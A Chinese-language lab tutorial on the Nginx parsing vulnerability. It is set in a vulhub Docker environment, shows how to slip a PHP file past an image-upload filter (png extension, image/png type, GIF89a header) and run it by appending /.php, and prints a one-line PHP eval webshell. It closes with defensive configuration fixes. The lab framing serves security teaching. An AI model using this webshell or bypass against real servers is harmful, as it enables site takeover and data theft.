中间件安全:Nginx 解析漏洞测试.
Nginx 是一个高性能的 HTTP和 反向代理服务器,Nginx 解析漏洞是一个由于配置不当导致的安全问题,它不依赖于Nginx或PHP的特定版本,而是由于用户配置错误造成的。这个漏洞允许攻击者上传看似无害的文件,例如图片格式的文件,但实际上这些文件中包含了PHP代码。当这些文件被请求时,由于配置错误,Nginx会将这些文件作为PHP文件执行,从而可能允许攻击者执行任意代码。
目录:
中间件安全:Nginx 解析漏洞测试.
漏洞的危害:
靶场搭建:
(1)切换到环境目录.
(2)开启环境.
(3)直接访问目标主机的 IP 地址就行.
Nginx 解析漏洞测试:
(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.
(2)我们进行抓包,把修改文件后缀名png
(3)访问我们上传的文件是否存在.
提高控制权,上传 webshell
(1)写一个 Webshell 的连接.
(2)上传进行抓包,修改文件后缀名png
(3)访问我们上传的文件是否存在.
(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php
(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.
防御措施:
(1)使用规范化、模板化的配置文件,并确保它们经过安全测试。
(2)在系统上线前对敏感配置文件进行检查。
(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0
漏洞的危害:
(1)攻击者可以绕过文件上传的检测,上传恶意文件。
(2)攻击者可以利用该漏洞执行系统命令,窃取或篡改数据。
(3)攻击者可能在服务器上留下后门,进一步控制服务器或内网。
靶场搭建:
环境搭建:Web安全:iwebsec || vulhub 靶场搭建.
(1)切换到环境目录.
vulhub/nginx/nginx_parsing_vulnerability
(2)开启环境.
sudo docker-compose up -d
(3)直接访问目标主机的 IP 地址就行.
Nginx 解析漏洞测试:
(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.
(2)我们进行抓包,把修改文件后缀名png,Content-Type 类型为 image/png,最后在文件内容的头部添加 GIF89a
(3)访问我们上传的文件是否存在.
(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php
提高控制权,上传 webshell
(1)写一个 Webshell 的连接.
<?php //一句话木马程序@eval($_POST['bgxg']);
?>
(2)上传进行抓包,修改文件后缀名png,Content-Type 类型为 image/png,最后在文件内容的头部添加 GIF89a
(3)访问我们上传的文件是否存在.
(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php
(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.
防御措施:
(1)使用规范化、模板化的配置文件,并确保它们经过安全测试。
(2)在系统上线前对敏感配置文件进行检查。
(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0